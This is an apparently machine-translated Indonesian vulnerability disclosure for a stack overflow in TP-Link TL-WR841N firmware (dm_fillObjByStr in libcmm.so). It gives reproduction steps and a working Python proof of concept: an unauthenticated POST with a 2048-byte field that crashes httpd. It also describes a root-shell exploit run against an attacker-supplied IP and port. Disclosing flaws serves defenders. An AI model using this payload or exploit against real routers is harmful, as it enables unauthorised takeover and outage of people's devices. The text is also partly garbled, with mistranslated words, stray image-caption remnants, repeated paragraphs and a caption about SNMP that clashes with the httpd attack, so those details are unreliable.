TP-link WR841N Vulnerability

Produk perusahaan penyedia layanan jaringan TP-Link, Router (TL-WR841Nv14_US_0.9.1_4.18) ditemukan mengandung stack overflow dalam fungsi dm_fillObjByStr(). Kerentanan ini memungkinkan penyerang yang tidak diautentikasi untuk mengeksekusi kode arbitrer.

Table Of Contents

Overview

  • Type: Buffer overflow
  • Vendor: TP-LINK (https://www.tp-link.com)
  • Products: WiFi Router, such as TL-WR841Nv14_US_0.9.1_4.18

Keterangan

Informasi Produk

Router nirkabel TP-link WR841N gambaran umum simulasi versi terbaru.

WiFi Router, such as TL-WR841Nv14

Tree firmware update new version

Pembaruan firmware terbaru hingga 2021-04-09, Dalam fungsi library(libcmm.so) dm_fillObjByStr(), langsung panggil strncpy untuk menyalin konten input ke variabel lokal v26. Jika panjang salinan dan konten salinan dapat dikontrol, ada kerentanan stack overflow di lokasi ini.

Tree

Efek kerentanan

Kerentanan ini dapat mempengaruhi versi terbaru perangkat TP-Link WR841 (2021-04-09). Dengan menggunakan POC yang disediakan dapat menyerang dan menyebabkan layanan http mogok, menunjukkan bahwa memang ada kerentanan stack overflow, dan program httpd tidak membuka mekanisme perlindungan apa pun.

Seperti yang ditunjukkan pada gambar di bawah, sehingga eskalasi hak istimewa mudah digunakan. Anda dapat menggunakan Padding untuk membajak EIP terlebih dahulu, dan menggunakan ROP untuk mengeksekusi kode eskalasi hak istimewa.

Tree Menyerang service SNMP menyebabkan proses restart

Langkah-langkah reproduksi kerentanan

Untuk mereproduksi kerentanan, Anda dapat mengikuti langkah-langkah berikut:

  1. Gunakan firmware simulasi FAT TL-WR841Nv14_US_0.9.1_4.18_up_boot[210203-rel37242].bin
  2. Gunakan serangan POC berikut untuk menyerang
import requests
headers = {
	"Host": "192.168.0.1",
	"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
	"Accept": "*/*",
	"Accept-Language": "en-US,en;q=0.5",
	"Accept-Encoding": "gzip, deflate",
	"Content-Type": "text/plain",
	"Content-Length": "78",
	"Origin": "http://192.168.0.1",
	"Connection": "close",
	"Referer": "http://192.168.0.1/"
}
payload = "a" * 2048
formdata = "[/cgi/auth#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\nname={}\r\noldPwd=admin\r\npwd=test\r\n".format(payload)
url = "http://192.168.0.1/cgi?8"
response = requests.post(url, data=formdata, headers=headers)
print response.text

Tree Efek serangan dari POC

Efek dari eksploitasi

Untuk mereproduksi exploit, Anda dapat mengikuti langkah-langkah berikut:

  1. Gunakan firmware simulasi FAT TL-WR841Nv14_US_0.9.1_4.18_up_boot[210203-rel37242].bin
  2. Akhirnya menulis exp dapat mencapai getshell

Tree Efek serangan exploit

Exploit ini menggunakan serangan multi-utas untuk mencapai efek yang sangat stabil untuk mendapatkan shell root, dan tidak memerlukan kata sandi apa pun untuk masuk untuk mengakses router, yang merupakan kerentanan RCE yang tidak sah. (Seperti yang ditunjukkan pada gambar di bawah, tidak ada login web)

Tree Tidak diperlukan login sebelum serangan

Untuk mereproduksi exploit, Anda dapat mengikuti langkah-langkah berikut:

  1. Gunakan firmware simulasi gemuk tl-wr841nv14_ US_ 0.9.1_ 4.18_ up_ boot[210203-rel37242] tempat sampah.
  2. Serang dengan serangan provided yang disediakan: python exp_wr841.py 192.168.0.2 11451 (Port mendengarkan IP penyerang skrip serangan Python).

Tree Efek serangan exp

Exploit menggunakan serangan multithreading, yang dapat mencapai efek yang sangat stabil untuk mendapatkan shell root, dan tidak memerlukan kata sandi untuk masuk dan mengakses router. Ini adalah kerentanan RCE yang tidak sah. (seperti yang ditunjukkan pada gambar di bawah, tidak ada login web)

Tree tidak perlu login sebelum menyerang